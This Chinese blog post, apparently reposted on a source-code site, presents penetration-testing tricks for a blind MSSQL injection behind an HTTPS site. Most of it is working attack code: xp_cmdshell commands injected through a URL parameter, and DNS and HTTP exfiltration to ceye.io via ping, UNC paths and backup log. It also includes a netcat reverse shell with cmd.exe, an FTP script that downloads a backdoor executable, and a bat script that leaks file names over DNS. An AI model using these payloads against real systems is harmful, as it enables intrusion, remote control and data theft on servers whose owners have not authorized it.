WEB渗透测试中回显的一些技巧

2016-11-07 0 4,454

在很多场景中,WEB是渗透测试的一个相对容易的入口。通常经过测试授权后,我们会先尝试拿到一个WEBSEHLL,然后再通过各种方法提权,来控制一台内网机器,然后利用这台内网机器控制整个内部网络。

在进行WEB渗透的时候,我们通常会通过后台弱口令、SQL注入、XSS、任意文件上传等漏洞来进行攻击测试。在测试的时候我们会根据服务器返回信息来判断漏洞是否存在,也是根据服务器返回的信息来判断我们能否成功执行命令,能否成功读取服务器上的文件。因此我们在进行渗透测试的时候,能否及时获得服务器相应的反馈信息尤为重要。本文将通过实际研究,来寻找各种及时获得服务器响应数据的技术、方法,为渗透测试铺平道路。下面将模拟一个实例来进行研究分析。

假如在渗透测试的时候,我们通过对主域名进行C段扫描,发现了一个子域名,并且该子域名存某处存在sql注入漏洞,通过测试发现,该注入点支持UNION查询如图:
WEB渗透测试中回显的一些技巧
从返回信息我们能够知道数据库版本,也知道了数据库服务器是windows操作系统。但是给服务器发送HTTP请求后,返回数据包如下:
WEB渗透测试中回显的一些技巧
通过返回的数据,我们判断服务器是LINUX系统。从目前的信息来看,WEB服务器在一台LINUX系统上,然而它使用的数据库在一台WINDOWS系统上。这样我们就无法直接通过数据库操作来获得一个WEBSHELL了。接下来我们的思路是想办法来控制这台数据库服务器,从而获得一台内网服务器的权限,然后再去渗透其他内部服务器。
首先我们对数据库当前用户的权限进行判断:
WEB渗透测试中回显的一些技巧

返回正常信息,由此我们判断数据库当前用户具有系统管理员权限。这个时候本以为简单地用sqlmap跑一下 就直接可以结束工作了。
WEB渗透测试中回显的一些技巧
我们可以看到这个时候sqlmap并没有正常工作,可见sqlmap无法直接对https的连接进行注入。这里有个小技巧,我们让sqlmap通过代理访问网络就可以达到目的。首先配置好burp让burp可以成功抓取https数据包,然后用burp作为代理,在执行sqlmap时加上参数 –proxy http://127.0.0.1:8080,这样应该就可以了。实际测试时候发现,sqlmap自带的useragent 导致请求的数据包没有返回信息,因此我们加入了参数—user-agent ‘’ ,我们测试如下:
WEB渗透测试中回显的一些技巧
已经可以正常注入了,可以看出支持UNION,支持多行查询。然后我们加个参数—os-shell看看能不能得到一个命令行下的SHELL
WEB渗透测试中回显的一些技巧
Sqlmap这时候非常不给力,我们执行的命令根本没有返回结果,也可能命令根本并没有执行成功。这时候只有我们自食其力了。
数据库具有系统管理权限,sqlmap执行os-shell时已经提示了xp_cmdshell恢复成功,我们想到的首先就是通过xp_cmdshell执行命令。当然我们是无法看到命令执行结果的,我们通过ceye.io申请了一个账户,准备通过DNS记录来看执行命令成功与否。通过ping 然后查询dns记录来判断命令知否执行成功

1
https://***/**.php?id=21;EXEC xp_cmdshell 'ping a1.***.ceye.io'


很幸运,我们看到了DNS记录的结果
WEB渗透测试中回显的一些技巧

说明可以成功执行命令。然后我们试图想通过数据组件配合DNS记录来获得命令执行情况。在研究过程中,我们总结了以下方法来进行信息刺探。
1、利用HttpRequestData

1
DECLARE @returnText VARCHAR(500);DECLARE @status int;DECLARE @urlStr VARCHAR(255);SET @urlStr ='http://ddd.***.ceye.io/a';EXEC P_GET_HttpRequestData  @urlStr, @status OUTPUT, @returnText   OUTPUT;


2、通过共享路径来执行程序

1
https://***/**.php?id=21;declare @@hp varchar(800);set @@hp=db_name(0);exec('exec xp_cmdshell ''\'%2b@@hp%2b'.***.ceye.ioa.exe''');

//%2b //连接变量的时候最好把+编码,否则传过去会是空格,导致命令不成功;这里执行命令测试时需要嵌套在外部exec里才能成功到DNS,另外”是两个单引号。
3、数据库备份:

1
2
先执行create database rain;然后:
declare @@hp varchar(800);set @@hp = db_name();exec('backup log [rain] to disk=''\'+@@hp+'. ***.ceye.ioa.exe'';');-- //+记得编码


4、把命令执行结果保存到变量,再写入数据库,然后查询数据库的信息来查看命令返回结果

1
2
create table test(t1 nvarchar(255), id int);DECLARE @result varchar(255);EXEC xp_cmdshell 'ping mytest1.***.ceye.io',@result output;insert into test(t1) values(@result);
再查询结果and 1=(select top 1 t1 from test) 或者and 1=(select count(*) from test where t1>1)


5、把文件读入数据库 再查询来看文件

1
;drop table cmd;create table cmd (a text);BULK INSERT cmd FROM 'c:boot.ini' WITH (FIELDTERMINATOR = 'n',ROWTERMINATOR ='nn')


6、访问共享目录执行后门程序

1
\***webserver.exe

(目前可能只有某些国外VPS才能访问共享目录)
7、利用nc反弹

1
2
服务端nc -vv ip 8090 -e c:windowssystem32cmd.exe
客户端nc -vv -l -p 8090


8、ftp上传、下载文件:
首先有个好用ftp服务器Quick Easy FTP Server V4.0.0 可以记录访问日志
通过ftp open命令可以记录服务器外部IP地址,扫描发现未开放任何端口
最初上传的时候由于没有判断目录是否可写 一直尝试失败
后来意识到目录权限的问题了,然后找了个目录c:windowstemp
首先写一个bat ,里面的命令是ping dns 然后执行bat看DNS访问记录  如果成功
接下来:

1
2
3
4
5
6
7
8
9
echo open ***>c:windowstempftp1.txt
  echo x>>c:windowstempftp1.txt
  echo x>>c:windowstempftp1.txt
echo binary >>c:windowstempftp1.txt
//下载到指定目录
  echo get server.exe c:windowstempserver.exe >>c:windowstempftp1.txt 
  echo bye >>c:windowstempftp1.txt
  ftp -s:c:windowstempftp1.txt
  del c:windowstempftp1.txt


通过查看ftp服务器日志 可以判断是否下载成功。
WEB渗透测试中回显的一些技巧
9、利用bat脚本来实现信息刺探

1
2
dir /b/a-d/od c:windowstemp >test.txt  // dir /b/a-d/od 获得目录里的文件名
for /f "delims=:" %%a in (test.txt) do (ping %%a.***.ceye.io) //把文件名发送到DNS记录


本地测试结果如下:
WEB渗透测试中回显的一些技巧
文件名带入了ping请求里了,这时我们看看DNS日志记录:
成功读取到了文件名
WEB渗透测试中回显的一些技巧
实际在命令行写入bat脚本的时候 要注意用^来转义< >符号,%需要编码成%25。
实现脚本如下:

1
2
echo dir /b/a-d/od c:windowstemp ^>test.txt > c:windowstempdir.bat
echo for /f "delims=:" %25%25a in (test.txt) do (ping %25%25a.***.ceye.io) >>c:windowstempdir.bat

 

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

注:在使用本系统时,使用方必须在国家相关法律法规范围内并经过国家相关部门的授权许可,禁止用于一切非法行为。使用用途仅限于测试、实验、研究为目的,禁止用于一切商业运营,本团队不承担使用者在使用过程中的任何违法行为负责。

83源码 WEB安全 WEB渗透测试中回显的一些技巧 https://www.83ym.com/51.html

认准唯一TG:@ym830

上一篇:

已经没有上一篇了!

常见问题
  • 站内所有资源,针对不同等级VIP会员可直接下载,特殊资源商品会注明是否免费,指会员所享有根据选择购买的会员选项所享有的特殊服务,具体以本站公布的服务内容为准。
查看详情
  • 按照我国的法律规定,运营网络棋牌首先需要成立一个注册正规备案的公司,然后申请网站备案、文网文、ICP等等,这些证件缺一不可。 一.注册公司 在当地工商进行注册,公司名称以“XX科技有限公司”为名,如:富裕棋牌经营范围填写“计算机软硬件、网络设备的设计开发与购销”。 二.域名及网站备案 在国内从事网站经营活动就必须经过相关部门的备案,因此棋牌运营商在购买了域名后,就要到当地网监局办理网站备案,或者请服务器提供商代为备案。 三.申请文网文 文网文全称为网络文化经营许可证,是从事经营性互联网文化活动所必需的资质。一般是需要到当地省一级(省、直辖市、自治区)的文化行政部门提出申请,并经由当地的文化行政部门合法批准。次资质要求申请公司注册资金必需达到1000万,并提供游戏版权证明文件。 四.申请ICP ICP又称为增值电信业务许可证,所有网络游戏运营商均需要办理ICP许可证,此证件要求公司注册资金1000万,需到当地市级通讯管理局办理。 五.申请文网游——游戏备案 根据《网络游戏管理暂行办法》(文化部第49号)的规定,国产网络游戏在上网运营之日起30日内应当按规定向国务院文化行政部门履行备案手续。 以上就是网络棋牌游戏正规运营所必需的资质证明。一般作为正规有实力的棋牌游戏开发公司,不光要具备所有的正规资质,而且会对投资者、代理商等合作伙伴给予相关指导和协助,与合作伙伴携手共赢!
查看详情

相关文章

猜你喜欢
官方客服团队

为您解决烦忧 - 24小时在线 专业服务